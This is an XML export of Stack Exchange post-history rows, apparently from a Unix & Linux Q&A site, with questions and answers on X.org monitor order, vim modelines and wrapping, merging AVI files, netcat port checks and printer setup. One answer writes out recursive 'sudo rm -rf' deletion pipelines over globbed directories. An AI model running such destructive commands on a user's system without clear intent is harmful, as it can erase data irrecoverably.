  <row Id="11694" PostHistoryTypeId="2" PostId="5263" RevisionGUID="860ad769-1756-4da1-b559-5a2ebb025c81" CreationDate="2010-12-31T03:07:53.827" UserId="2946" Text="I just added a 2nd monitor and I ran into that oh so typical issue where the monitors are swapped.&#xD;&#xA;&#xD;&#xA;Apparently, the 2nd monitor has been identified as &quot;monitor 0&quot; by X.org, but it's # 2 according to the ATI configuration applet.  (The applet numbers the monitors starting with 1, not 0.)  That said, this 2nd monitor is the first one listed by the applet.&#xD;&#xA;&#xD;&#xA;This concerns me, as I have run into issues on Windows with dual-monitors swapping randomly after reboots.  Moving the Gnome panels over was easy enough, if not exactly obvious.  However, I wonder about the possibility of other things using &quot;monitor 0&quot; when, in this case, I would expect them on &quot;monitor 1.&quot;&#xD;&#xA;&#xD;&#xA;So, what determines the order in which the monitors are identified?  Is there a way to control this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11695" PostHistoryTypeId="1" PostId="5263" RevisionGUID="860ad769-1756-4da1-b559-5a2ebb025c81" CreationDate="2010-12-31T03:07:53.827" UserId="2946" Text="It is possible to control which monitor is identified as &quot;monitor 0?&quot;" />
  <row Id="11696" PostHistoryTypeId="3" PostId="5263" RevisionGUID="860ad769-1756-4da1-b559-5a2ebb025c81" CreationDate="2010-12-31T03:07:53.827" UserId="2946" Text="éxorgàédualömonitorà" />
  <row Id="11697" PostHistoryTypeId="2" PostId="5264" RevisionGUID="596fd997-6d43-4d79-a141-a19113678b48" CreationDate="2010-12-31T04:02:18.533" UserId="3267" Text="The first line of a script may be in format of `#! interpreter`, so the shell will execute the script using the specific *interpreter*. This is so called `shebang` or `shbang`. &#xD;&#xA;&#xD;&#xA;Similarly, there can be some special comment like &#xD;&#xA;&#xD;&#xA;    # -*- language -*-&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    # vim: tabstop=4 :&#xD;&#xA;&#xD;&#xA;etc. Just like `shbang` is used to denote which interpreter to use, these comments are used to adjust the editor's behavior. &#xD;&#xA;&#xD;&#xA;How to call these special comments? Maybe `shdash` or `shvim`? Are there some already defined slangs for these?&#xD;&#xA;&#xD;&#xA;And is there wiki pages to show the list of `shxxx`, and those softwares follow such conventions?&#xD;&#xA;" />
  <row Id="11698" PostHistoryTypeId="1" PostId="5264" RevisionGUID="596fd997-6d43-4d79-a141-a19113678b48" CreationDate="2010-12-31T04:02:18.533" UserId="3267" Text="As we call `#!/bin/perl` 'shebang', what we call `-*- perl -*-`?" />
  <row Id="11699" PostHistoryTypeId="3" PostId="5264" RevisionGUID="596fd997-6d43-4d79-a141-a19113678b48" CreationDate="2010-12-31T04:02:18.533" UserId="3267" Text="éterminologyà" />
  <row Id="11700" PostHistoryTypeId="2" PostId="5265" RevisionGUID="e8fbd0ad-f0fe-436b-8267-2b3904bc83a6" CreationDate="2010-12-31T04:54:32.563" UserId="1071" Text="Those are called modelines, at least in vim. See `:help modeline` -- not exactly slang, but at least it's something to call them." />
  <row Id="11701" PostHistoryTypeId="2" PostId="5266" RevisionGUID="0e049e72-a545-4d35-bdfe-a517475875bb" CreationDate="2010-12-31T05:43:29.017" UserId="1207" Text="Often your monitor setup can be found in the Xorg configuration file `/etc/X11/xorg.conf`.&#xD;&#xA;&#xD;&#xA;However, many modern distributions (such as recent Ubuntu releases) try to avoid using a configuration file, since maintaining it can be a pain. You can create this file initially by running:&#xD;&#xA;&#xD;&#xA;    # Xorg --configure&#xD;&#xA;&#xD;&#xA;From there you can make further customizations.  The Arch wiki has [an article][1] that should help with making customizations.&#xD;&#xA;&#xD;&#xA;If you want to change your primary monitor without editing `xorg.conf` you can try the following:&#xD;&#xA;&#xD;&#xA;     $ xrandr --output XXXX --primary&#xD;&#xA;&#xD;&#xA;Here XXXX should be replaced by the output you want to be primary.  You can run&#xD;&#xA;&#xD;&#xA;    $ xrandr --current&#xD;&#xA;&#xD;&#xA;To see the current configuration and see what output devices are available.  Typically these will have names like &quot;VGA1&quot;, &quot;LVDS1&quot;, or other names that refer to the connection that is used.&#xD;&#xA;&#xD;&#xA;Setting the monitor as primary will typically move your panels over as well, which is nice if you are using a laptop and want to change which monitor is the primary monitor multiple times a day.  I find this a lot nicer than creating an xorg.conf file, but my monitor configuration changes multiple times a day.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Xorg" />
  <row Id="11702" PostHistoryTypeId="2" PostId="5267" RevisionGUID="e9716506-80d2-4383-bf95-bae2d5d9a86d" CreationDate="2010-12-31T07:17:27.010" UserId="1535" Text="I'm trying to use the [ManPageView](http://www.vim.org/scripts/script.php?script_id=489) plugin to view info documentation within `vim`.&#xD;&#xA;&#xD;&#xA;Although I find ManPageView very useful for, well, viewing manpages, its info-reading functionality doesn't seem to work at all.  But then I almost never read info documentation, mostly because it doesn't seem worth taking the time to learn the `info` interface.  So I may be doing it wrong.&#xD;&#xA;&#xD;&#xA;Anyhow: running `:Man info.i` as suggested by the ManPageView documentation gives me&#xD;&#xA;&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    ***warning*** sorry, no manpage exists for &lt;(info)Top&gt;&#xD;&#xA;&#xD;&#xA;I see some success if I delete the following lines, which start at line 345 in the file `autoload/manpageview.vim`:&#xD;&#xA;&#xD;&#xA;    &quot; special exception for info {{{3&#xD;&#xA;    if a:viamap == 0 &amp;&amp; ext == &quot;i&quot;&#xD;&#xA;     let s:manpageview_pfx_i = &quot;(&quot;.manpagetopic.&quot;)&quot;&#xD;&#xA;     let manpagetopic        = &quot;Top&quot;&#xD;&#xA;  &quot;   call Decho(&quot;top-level info: manpagetopic&lt;&quot;.manpagetopic.&quot;&gt;&quot;)&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;Deleting those lines will allow `:Man info.i` to work, but I still can't follow links in the displayed page.&#xD;&#xA;&#xD;&#xA;It works by calling `info` on the command line and capturing the output, so perhaps it's just that `info`'s CLI has changed?  Specifically, `$ info info Advanced` will bring up the topic &quot;Advanced&quot; within the &quot;info&quot; node.  I dug around in the addon's source code for a while but didn't find any obvious way to direct it to pass the node as an extra argument instead of doing what it seems to be supposed to do, which is to wrap it in parentheses and prefix it to the topic.&#xD;&#xA;&#xD;&#xA;I've not tried to use this addon to view info documentation before.  I'm running an updated ubuntu 10.10, using the vim-gnome package.&#xD;&#xA;&#xD;&#xA;I've filed some semblance of a bug report at what seems to be the [recommended location](http://vim.wikia.com/wiki/Script:489)&#xD;&#xA;&#xD;&#xA;Have others had success using this addon to view info documentation?  I feel like I'm lost in the mists that eternally shroud the outer reaches of Obscurity.&#xD;&#xA;&#xD;&#xA;**note**: Whilst composing this message, I've discovered the [info](http://www.vim.org/script.php?script_id=21) addon, which seems to work acceptably, at least at first glance." />
  <row Id="11703" PostHistoryTypeId="1" PostId="5267" RevisionGUID="e9716506-80d2-4383-bf95-bae2d5d9a86d" CreationDate="2010-12-31T07:17:27.010" UserId="1535" Text="viewing info documentation with vim" />
  <row Id="11704" PostHistoryTypeId="3" PostId="5267" RevisionGUID="e9716506-80d2-4383-bf95-bae2d5d9a86d" CreationDate="2010-12-31T07:17:27.010" UserId="1535" Text="évimàédocumentationàétexinfoà" />
  <row Id="11705" PostHistoryTypeId="5" PostId="5267" RevisionGUID="3481835f-5589-4453-a8b9-78d946dd5aff" CreationDate="2010-12-31T07:36:46.177" UserId="1535" Comment="added 80 characters in body" Text="I'm trying to use the [ManPageView](http://www.vim.org/scripts/script.php?script_id=489) plugin to view info documentation within `vim`.&#xD;&#xA;&#xD;&#xA;Although I find ManPageView very useful for, well, viewing manpages, its info-reading functionality doesn't seem to work at all.  But then I almost never read info documentation, mostly because it doesn't seem worth taking the time to learn the `info` interface.  So I may be doing it wrong.&#xD;&#xA;&#xD;&#xA;Anyhow: running `:Man info.i` as suggested by the ManPageView documentation gives me&#xD;&#xA;&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    ***warning*** sorry, no manpage exists for &lt;(info)Top&gt;&#xD;&#xA;&#xD;&#xA;I see some success if I delete the following lines, which start at line 345 in the file `autoload/manpageview.vim`:&#xD;&#xA;&#xD;&#xA;    &quot; special exception for info {{{3&#xD;&#xA;    if a:viamap == 0 &amp;&amp; ext == &quot;i&quot;&#xD;&#xA;     let s:manpageview_pfx_i = &quot;(&quot;.manpagetopic.&quot;)&quot;&#xD;&#xA;     let manpagetopic        = &quot;Top&quot;&#xD;&#xA;  &quot;   call Decho(&quot;top-level info: manpagetopic&lt;&quot;.manpagetopic.&quot;&gt;&quot;)&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;Deleting those lines will allow `:Man info.i` to work, but I still can't follow links in the displayed page.&#xD;&#xA;&#xD;&#xA;It works by calling `info` on the command line and capturing the output, so perhaps it's just that `info`'s CLI has changed?  Specifically, `$ info info Advanced` will bring up the topic &quot;Advanced&quot; within the &quot;info&quot; node.  I dug around in the addon's source code for a while but didn't find any obvious way to direct it to pass the node as an extra argument instead of doing what it seems to be supposed to do, which is to wrap the node name in parentheses and prefix it to the topic, passing the combination as a single command-line argument to `info`.&#xD;&#xA;&#xD;&#xA;I've not tried to use this addon to view info documentation before.  I'm running an updated ubuntu 10.10, using the vim-gnome package.&#xD;&#xA;&#xD;&#xA;I've filed some semblance of a bug report at what seems to be the [recommended location](http://vim.wikia.com/wiki/Script:489)&#xD;&#xA;&#xD;&#xA;Have others had success using this addon to view info documentation?  I feel like I'm lost in the mists that eternally shroud the outer reaches of Obscurity.&#xD;&#xA;&#xD;&#xA;**note**: Whilst composing this message, I've discovered the [info](http://www.vim.org/script.php?script_id=21) addon, which seems to work acceptably, at least at first glance." />
  <row Id="11706" PostHistoryTypeId="2" PostId="5268" RevisionGUID="079f1278-29ce-47b7-acc7-f5c22cf6d691" CreationDate="2010-12-31T07:44:34.357" UserId="688" Text="I have 2 `*.avi` files:&#xD;&#xA;&#xD;&#xA;    cd1.avi&#xD;&#xA;    cd2.avi&#xD;&#xA;&#xD;&#xA;Which GUI allows me to merge these?&#xD;&#xA;" />
  <row Id="11707" PostHistoryTypeId="1" PostId="5268" RevisionGUID="079f1278-29ce-47b7-acc7-f5c22cf6d691" CreationDate="2010-12-31T07:44:34.357" UserId="688" Text="How do I merge two *.avi files into one?" />
  <row Id="11708" PostHistoryTypeId="3" PostId="5268" RevisionGUID="079f1278-29ce-47b7-acc7-f5c22cf6d691" CreationDate="2010-12-31T07:44:34.357" UserId="688" Text="éguiàéavià" />
  <row Id="11709" PostHistoryTypeId="2" PostId="5269" RevisionGUID="20c9e5d9-65ae-4322-8c9b-8d44a4d6dc62" CreationDate="2010-12-31T08:00:42.840" UserId="1535" Text="Another option is to use a shell loop instead of invoking xargs at all.&#xD;&#xA;&#xD;&#xA;E.G.&#xD;&#xA;&#xD;&#xA;    ls -d a* | while read dir; do sudo rm -rf &quot;$dir&quot;/*; done;&#xD;&#xA;&#xD;&#xA;Mostly for the sake of example, you can also combine the two techniques by putting a shell construct in the middle of a pipeline:&#xD;&#xA;&#xD;&#xA;    ls -d a* | while read dir; do ls -d &quot;$dir&quot;/*; done | xargs -d \\n rm -rf&#xD;&#xA;&#xD;&#xA;The `-d` option to xargs just specifies that the delimiter between arguments is a newline, which avoids potentially catastrophic problems with filenames which contain spaces (for example `deadly / file`)&#xD;&#xA;" />
  <row Id="11710" PostHistoryTypeId="5" PostId="2273" RevisionGUID="8b2fdc08-fd56-4e1d-a777-dad4772478a0" CreationDate="2010-12-31T08:33:44.530" UserId="1327" Comment="deleted 18 characters in body" Text="I have two `*.avi` files:&#xD;&#xA;&#xD;&#xA;    sequence1.avi&#xD;&#xA;    sequence2.avi&#xD;&#xA;&#xD;&#xA;How do I merge these two files using the command-line?&#xD;&#xA;" />
  <row Id="11711" PostHistoryTypeId="5" PostId="5145" RevisionGUID="e45653b2-32c6-439f-a53b-735c5db85ee0" CreationDate="2010-12-31T08:38:52.447" UserId="1327" Comment="added 69 characters in body; deleted 22 characters in body" Text="On my local DHCP network I have different PC's that I need to access remotely. Problem is that their IP's change. Sometimes I plug my laptop and netbook into other people's DHCP networks. &#xD;&#xA;&#xD;&#xA;My current solution is to upate the `/etc/hosts` file everytime the target IP's change.&#xD;&#xA;&#xD;&#xA;My `/etc/hosts` file looks like this:&#xD;&#xA;    &#xD;&#xA;    # &lt;ip-address&gt;   &lt;hostname.domain.org&gt;    &lt;hostname&gt;&#xD;&#xA;    127.0.0.1        localhost.localdomain    localhost laptop    &#xD;&#xA;    192.168.1.14     desktop.localdomain      desktop&#xD;&#xA;    192.168.1.12     netbook.localdomain      netbook&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Is there a way to bypass all that admin? :) &#xD;&#xA;&#xD;&#xA;For example, could my computers broadcast their IPs on the LAN? or something like that. Windows does something like that, which allows you to refference a computer on the network with &quot;\\\\COMPUTER_NAME&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11712" PostHistoryTypeId="5" PostId="5255" RevisionGUID="536389f6-4733-40ef-94bd-e907fa0b8792" CreationDate="2010-12-31T08:44:52.050" UserId="1327" Comment="edited body" Text="In short, yes, this is possible.  The relevant search string you are looking for is Multi-seat X.  &#xD;&#xA;&#xD;&#xA;The [Ubuntu wiki][1], [Gentoo wiki][2], [Debian wiki][4] and [Arch wiki][3] all have articles related to multi seat X.  A number of other articles can be found on the [Xorg wiki page on multiseat][5] and even more can be found on google.&#xD;&#xA;&#xD;&#xA;From what I can tell from these articles, there are two ways to do this: &#xD;&#xA;&#xD;&#xA; - Multiple X servers, or&#xD;&#xA; - Using Xepher on top of Xorg.&#xD;&#xA;&#xD;&#xA;Which of these methods will work for you will depend on the version of Xorg you are running and your hardware.  Multiple X servers seem to be the easier route if your hardware setup supports it.  There is also work to be done with the display manager, sound server, and other components--much of which is covered in the various articles linked above.&#xD;&#xA;&#xD;&#xA;Additionally, there is a [multiseat display manager (MDM)](http://wiki.c3sl.ufpr.br/multiseat/index.php/Mdm) to automate these configurations. It's not yet integreated in most distributions, though (the `mdm` package in Ubuntu is a homonym).&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/MultiseatX&#xD;&#xA;  [2]: http://www.gentoo-wiki.info/HOWTO_Multiseat_X&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Xorg_multiseat&#xD;&#xA;  [4]: http://wiki.debian.org/Multi_Seat_Debian_HOWTO&#xD;&#xA;  [5]: http://www.x.org/wiki/Development/Documentation/Multiseat&#xD;&#xA;  [6]: http://wiki.c3sl.ufpr.br/multiseat/index.php/Mdm&#xD;&#xA;" />
  <row Id="11713" PostHistoryTypeId="6" PostId="5251" RevisionGUID="d7a4462d-ac6b-4b67-bf0e-b6a48785b322" CreationDate="2010-12-31T08:47:00.003" UserId="1327" Comment="edited tags" Text="éusersàédualömonitoràémultiseatà" />
  <row Id="11714" PostHistoryTypeId="2" PostId="5270" RevisionGUID="3b151a00-276f-407b-a212-041861ddffdc" CreationDate="2010-12-31T09:26:44.680" UserId="272" Text="Depending on what you want to accomplish, you could set up avahi, which can broadcast the existence of a sshd service on your machine. Be careful in 'foreign' networks though..." />
  <row Id="11715" PostHistoryTypeId="2" PostId="5271" RevisionGUID="722a8ece-e4ed-41ab-817a-ad28c41878d9" CreationDate="2010-12-31T09:55:51.260" UserId="305" Text="I started experience overheating (I have a few possible troublemakers for it and the cause is separate question) but I wondered what controls handling of overheating?&#xD;&#xA;&#xD;&#xA;Sometimes my computer:&#xD;&#xA; &#xD;&#xA; - Halts properly (&quot;System is going down NOW&quot;)&#xD;&#xA; - Is halted by controller (screen turns blank, goodbye all not written to disk cache)&#xD;&#xA;&#xD;&#xA;Hence my question - how to change behavior to hibernation and/or hybrid-hibernations (well - arbitrary command - from that point I could handle)? Is is possible to specify treshholds to increase safe limits?" />
  <row Id="11716" PostHistoryTypeId="1" PostId="5271" RevisionGUID="722a8ece-e4ed-41ab-817a-ad28c41878d9" CreationDate="2010-12-31T09:55:51.260" UserId="305" Text="What controls turning off during overheating on Linux" />
  <row Id="11717" PostHistoryTypeId="3" PostId="5271" RevisionGUID="722a8ece-e4ed-41ab-817a-ad28c41878d9" CreationDate="2010-12-31T09:55:51.260" UserId="305" Text="élinuxàéacpià" />
  <row Id="11718" PostHistoryTypeId="2" PostId="5272" RevisionGUID="68cc67b9-87a3-4ab5-9fd1-877c59db5fa6" CreationDate="2010-12-31T11:00:48.700" UserId="3383" Text="Easy with mencoder (shipped with mplayer in Arch Linux) :&#xD;&#xA;mencoder -oac copy -ovc copy video1.avi video2.avi -o final.avi" />
  <row Id="11719" PostHistoryTypeId="6" PostId="5264" RevisionGUID="2a3068c4-5b5c-4f88-8a78-938d7cb3efee" CreationDate="2010-12-31T12:21:03.133" UserId="885" Comment="edited tags" Text="évimàéemacsàéviàéterminologyà" />
  <row Id="11720" PostHistoryTypeId="2" PostId="5273" RevisionGUID="183bb8a8-137b-46e6-96e1-5d31ca63aa56" CreationDate="2010-12-31T12:35:34.280" UserId="885" Text="[Avidemux](http://fixounet.free.fr/avidemux/) can paste two videos together, at least if they have the same resolution and a few other constraints. Use “Append” from the “File” menu." />
  <row Id="11721" PostHistoryTypeId="2" PostId="5274" RevisionGUID="b611559e-de5e-4f11-95e5-cf5b119e4b11" CreationDate="2010-12-31T13:58:05.490" UserId="3387" Text="i dunno if yo on about the same as i had, i closed the whole panel &#xD;&#xA;(removed it)..&#xD;&#xA;&#xD;&#xA;discovered that if i right clicked the top panel and added another it automatically placed an empty one on the bottom f the screen.. to which i could add more stuff to panel again from there...brilliant.&#xD;&#xA;&#xD;&#xA;though i'm not sure if i'm kde, might be gnome.... but its a cool answer for those on gnome desktop." />
  <row Id="11722" PostHistoryTypeId="2" PostId="5275" RevisionGUID="e2f534f9-8038-4789-a823-6878da230ff2" CreationDate="2010-12-31T14:27:58.830" UserId="3389" Text="I could be completely and totally wrong about this, and forgive me if I am, but if uboot's md command is just reading memory addresses mapped to device registers and returning the contents to you, couldn't you read those same memory locations with clever use of `dd if=/dev/mem ...`? " />
  <row Id="11723" PostHistoryTypeId="2" PostId="5276" RevisionGUID="8274e916-2102-477b-b888-c8a84b493596" CreationDate="2010-12-31T15:39:23.187" UserId="305" Text="One of the most annoying features of vim is splitting lines. For some reasons someone found it would be good to split lines even in whitespace sensitive formats. For example changing:&#xD;&#xA;&#xD;&#xA;    echo very-long-string &gt; file&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    echo&#xD;&#xA;    very-long-string&#xD;&#xA;    &gt; file&#xD;&#xA;&#xD;&#xA;How to turn it off?" />
  <row Id="11724" PostHistoryTypeId="1" PostId="5276" RevisionGUID="8274e916-2102-477b-b888-c8a84b493596" CreationDate="2010-12-31T15:39:23.187" UserId="305" Text="Turning off splitting lines in vim" />
  <row Id="11725" PostHistoryTypeId="3" PostId="5276" RevisionGUID="8274e916-2102-477b-b888-c8a84b493596" CreationDate="2010-12-31T15:39:23.187" UserId="305" Text="évimà" />
  <row Id="11726" PostHistoryTypeId="2" PostId="5277" RevisionGUID="6383866b-1243-45e1-91da-cee695fdbfa7" CreationDate="2010-12-31T15:53:45.453" UserId="3390" Text="I need a command that will wait for a process to start receiving requests on a specific port.  &#xD;&#xA;&#xD;&#xA;Is there something in linux that does that?&#xD;&#xA;&#xD;&#xA;    while (checkAlive -host localhost -port 13000 == false)&#xD;&#xA;      do some waiting&#xD;&#xA;    &#xD;&#xA;    ..." />
  <row Id="11727" PostHistoryTypeId="1" PostId="5277" RevisionGUID="6383866b-1243-45e1-91da-cee695fdbfa7" CreationDate="2010-12-31T15:53:45.453" UserId="3390" Text="How do I tell a script to wait for a process to start receiving requests on a port?" />
  <row Id="11728" PostHistoryTypeId="3" PostId="5277" RevisionGUID="6383866b-1243-45e1-91da-cee695fdbfa7" CreationDate="2010-12-31T15:53:45.453" UserId="3390" Text="éscriptàéportsà" />
  <row Id="11729" PostHistoryTypeId="2" PostId="5278" RevisionGUID="cfd8c240-04ba-4242-b0f1-1c6c27c682fa" CreationDate="2010-12-31T16:06:21.033" UserId="3391" Text="It's been awhile since I've used IRC and the last time I did was on a windows system with mIRC. I'm interested in finding a command line client that supports downloads and some degree of automation for those downloads. Any suggestions?" />
  <row Id="11730" PostHistoryTypeId="1" PostId="5278" RevisionGUID="cfd8c240-04ba-4242-b0f1-1c6c27c682fa" CreationDate="2010-12-31T16:06:21.033" UserId="3391" Text="Suggestions for a command line IRC client that supports downloads?" />
  <row Id="11731" PostHistoryTypeId="3" PostId="5278" RevisionGUID="cfd8c240-04ba-4242-b0f1-1c6c27c682fa" CreationDate="2010-12-31T16:06:21.033" UserId="3391" Text="écommandölineà" />
  <row Id="11732" PostHistoryTypeId="6" PostId="5278" RevisionGUID="29a77af7-af6b-46bd-add4-43b0415fc478" CreationDate="2010-12-31T16:11:47.817" UserId="885" Comment="edited tags" Text="écommandölineàésoftwareörecàéircà" />
  <row Id="11733" PostHistoryTypeId="2" PostId="5279" RevisionGUID="7cdb23eb-18de-4f78-b4df-32298b542919" CreationDate="2010-12-31T16:23:06.237" UserId="885" Text="If you're testing whether a host is alive, use [ping](http://en.wikipedia.org/wiki/Ping). The command exists just about everywhere, but the options vary from OS to OS. On Linux:&#xD;&#xA;&#xD;&#xA;    while ! ping -W 1 -c 1 remotehost.example.com &gt;/dev/null; do sleep 30; done&#xD;&#xA;&#xD;&#xA;To run a simple UDP or TCP server from the shell, use [netcat](http://en.wikipedia.org/wiki/Netcat).&#xD;&#xA;&#xD;&#xA;    nc -l 13000&#xD;&#xA;&#xD;&#xA;If you're waiting for another process to receive a connection on a particular port, I question your design: this is a strange requirement, why aren't you either configuring the program to do what you want when it receives a connection, or intercepting the incoming packet in your firewall configuration? If you explain what you're trying to do in more detail, better answers may be forthcoming.&#xD;&#xA;" />
  <row Id="11734" PostHistoryTypeId="6" PostId="5277" RevisionGUID="62cd87bb-ab56-43e0-9160-e7488a4cc46a" CreationDate="2010-12-31T16:25:27.217" UserId="885" Comment="edited tags" Text="éshellàénetworkingàéprocessà" />
  <row Id="11735" PostHistoryTypeId="2" PostId="5280" RevisionGUID="533e3d21-5b45-4a3a-a3f5-9e2e46c04667" CreationDate="2010-12-31T16:38:35.883" UserId="281" Text="I assume you are talking about the feature where long lines are visually &quot;wrapped&quot; to be shown on multiple lines. (This does not interfere with the content of the file though, it is just the way the text is presented visually.)&#xD;&#xA;&#xD;&#xA;Issue the following command to turn of this feature:&#xD;&#xA;&#xD;&#xA;    :set nowrap" />
  <row Id="11736" PostHistoryTypeId="5" PostId="5280" RevisionGUID="fc5cb991-b4e3-4a6a-a1a6-117ec58d9698" CreationDate="2010-12-31T16:44:24.727" UserId="281" Comment="added 260 characters in body; deleted 2 characters in body; added 29 characters in body; added 72 characters in body" Text="I assume you are talking about the feature where long lines are visually &quot;wrapped&quot; to be shown on multiple lines. (This does not interfere with the content of the file though, it is just the way the text is presented visually.) Issue the following command to turn of this feature:&#xD;&#xA;&#xD;&#xA;    :set nowrap&#xD;&#xA;&#xD;&#xA;If you are seeing that vim is really splitting lines automatically (not just visually but by actually inserting line breaks) then you must have configured vim to limit text width; this is not enabled by default. In that case you can disable it again like this:&#xD;&#xA;&#xD;&#xA;    :set textwidth=0&#xD;&#xA;&#xD;&#xA;Edit your `.vimrc` configuration file to make these changes permanent." />
  <row Id="11737" PostHistoryTypeId="5" PostId="5276" RevisionGUID="9a8d0440-6c61-4c33-824c-f28d250a4fee" CreationDate="2010-12-31T16:47:17.103" UserId="305" Comment="added 207 characters in body" Text="One of the most annoying features of vim is splitting lines. For some reasons someone found it would be good to split lines even in whitespace sensitive formats. For example changing:&#xD;&#xA;&#xD;&#xA;    echo very-long-string &gt; file&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    echo&#xD;&#xA;    very-long-string&#xD;&#xA;    &gt; file&#xD;&#xA;&#xD;&#xA;How to turn it off?&#xD;&#xA;&#xD;&#xA;**Edit**: It is not visual wrap - it is wrapped in file (i.e. vim inserts \n in file if it considers line too long). Wrapping long lines is sane and while one may want to turn of I can live without it.&#xD;&#xA;" />
  <row Id="11738" PostHistoryTypeId="2" PostId="5281" RevisionGUID="673a1dca-c325-4f63-a576-2ebcecc22d74" CreationDate="2010-12-31T17:20:03.400" UserId="3283" Text="If your into rolling distros there's the new OpenSuSE-Tumbleweed -- OpenSuSE but rolling :-). Other good KDE4 rolling disros include: Aptosid, PCLinuxOS, Yoper, Chakra, Sabayon. Toorox is not 100% rolling but is based on Gentoo. I think all of these are quite newbie friendly and have a big focus on KDE (GUI-centric, &quot;just work&quot;, etc).&#xD;&#xA;&#xD;&#xA;BTW Mageia (community fork of Mandriva) are in talks on whether to go rolling or not.&#xD;&#xA;&#xD;&#xA;If you want DEB, a friend of mine has only good things to say about Aptosid (fka Sidux).&#xD;&#xA;&#xD;&#xA;Chakra (based on Arch) is currently still in alpha but has a modular &amp; modifiable KDE allowing you to customize it, optimize it, and remove unwanted bloat.&#xD;&#xA;&#xD;&#xA;PCLinuxOS can need a reinstall when they re-fork the Mandriva base every year or so; though with Mandriva's troubles they may switch to Mageia or Unity Linux as their base. They might even go independent but I don't know if they have the devs for that.&#xD;&#xA;&#xD;&#xA;I've used Linux Mint-Gnome for the last year (and previously Ubuntu) and I'm about to switch to a rolling KDE4 distro with E17 as my 2nd DE, so I'm in pretty much the same boat as you and would definitely still call my self a &quot;newbie&quot;.&#xD;&#xA;&#xD;&#xA;BTW I really recommend going rolling: latest software and no reinstalls! I've generally only heard/read good things by those who've tried rolling (though there are always exceptions) and most seem unwilling to switch to any distro that isn't once they've got a taste." />
  <row Id="11739" PostHistoryTypeId="5" PostId="5277" RevisionGUID="6bd0995c-b7ef-43e5-b2f4-b49dcf8de5d7" CreationDate="2010-12-31T17:25:51.773" UserId="885" Comment="edited question as per asker's comment" Text="I need a command that will wait for a process to start accepting requests on a specific port.  &#xD;&#xA;&#xD;&#xA;Is there something in linux that does that?&#xD;&#xA;&#xD;&#xA;    while (checkAlive -host localhost -port 13000 == false)&#xD;&#xA;      do some waiting&#xD;&#xA;    &#xD;&#xA;    ..." />
  <row Id="11740" PostHistoryTypeId="4" PostId="5277" RevisionGUID="6bd0995c-b7ef-43e5-b2f4-b49dcf8de5d7" CreationDate="2010-12-31T17:25:51.773" UserId="885" Comment="edited question as per asker's comment" Text="How do I tell a script to wait for a process to start accepting requests on a port?" />
  <row Id="11741" PostHistoryTypeId="5" PostId="5279" RevisionGUID="5496f2f3-dbef-4e6b-9ec5-09e246b48c60" CreationDate="2010-12-31T17:37:17.057" UserId="885" Comment="completely changed my answer as the question was badly asked initially" Text="The best test to see if a server is accepting connections is to actually try connecting. Use a regular client for whatever protocol your server speaks and try a no-op command.&#xD;&#xA;&#xD;&#xA;If you want a lightweight TCP or UDP client you can drive simply from the shell, use [netcat](http://en.wikipedia.org/wiki/Netcat). How to program a conversation depends on the protocol; many protocols have the server close the connection on a certain input, and netcat will then exit.&#xD;&#xA;&#xD;&#xA;    while ! echo exit | nc localhost 13000; do sleep 10; done&#xD;&#xA;&#xD;&#xA;You can also tell netcat to exit after establishing the connection.&#xD;&#xA;&#xD;&#xA;    while nc -q 1 localhost 13000 &lt;/dev/null; do sleep 10; done&#xD;&#xA;&#xD;&#xA;An alternative approach is to wait for the server process to open a listening socket.&#xD;&#xA;&#xD;&#xA;    while netstat -lnt | awk '$4 ~ /:13000$/ {exit 1}'; do sleep 10; done&#xD;&#xA;&#xD;&#xA;Or you might want to target a specific process ID:&#xD;&#xA;&#xD;&#xA;    while ! lsof -n -Fn -p $pid | grep -q '^n.*:13000$'; do sleep 10; done&#xD;&#xA;&#xD;&#xA;I can't think of any way to react to the process starting to listen to the socket (which would avoid a polling approach) short of using `ptrace`.&#xD;&#xA;" />
  <row Id="11742" PostHistoryTypeId="5" PostId="5262" RevisionGUID="7c073b60-f852-4f7b-af34-413306728f89" CreationDate="2010-12-31T19:24:36.533" UserId="1207" Comment="fixed grammar on the parts that I understood enough to edit.; edited title" Text="I am using Debian which is similar to Ubuntu.  &#xD;&#xA;&#xD;&#xA;They have 7 dot matrix printers, some of which are very old ([example][1]), which have worked since 1979 and are faster than many inkjets at printing text.&#xD;&#xA;&#xD;&#xA;I believe that it has his own language, since sending text to serial port (port server) prints garbage. However I think is prints only capital English up to 95 ASCII and Greek and the rest up to 127 I think Greek capital. (special chip)  &#xD;&#xA;&#xD;&#xA;I think that sending English capital letters prints garbage, but I am not sure and will try again.&#xD;&#xA;&#xD;&#xA;The other printers are ESC/P compatible and I use a generic Epson driver provided by ghostscript. However, I think that sending text via &#xD;&#xA;&#xD;&#xA;    lp -dpr1 filename&#xD;&#xA;&#xD;&#xA;prints the text as a graffic and changing the printer's font face (courier, times roman, etc) or pitch has no effect.&#xD;&#xA;   &#xD;&#xA;I am wondering if there is any work around for this? In AIX they claim that the `lp` command printed output as text as it prints and cobol programs send raw text to lp printers. However, in AIX they use some custom filters for the printers and have more options for dot matrix printers. &#xD;&#xA;&#xD;&#xA;I would like to know if there is a way to avoid graphics mode for text and change the font face.&#xD;&#xA; &#xD;&#xA;The most straightforward approach would be to use no driver, just send ESC/P from cobol but this requires too much work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.omnidatasys.net/product/desc_printer_ti880.htm" />
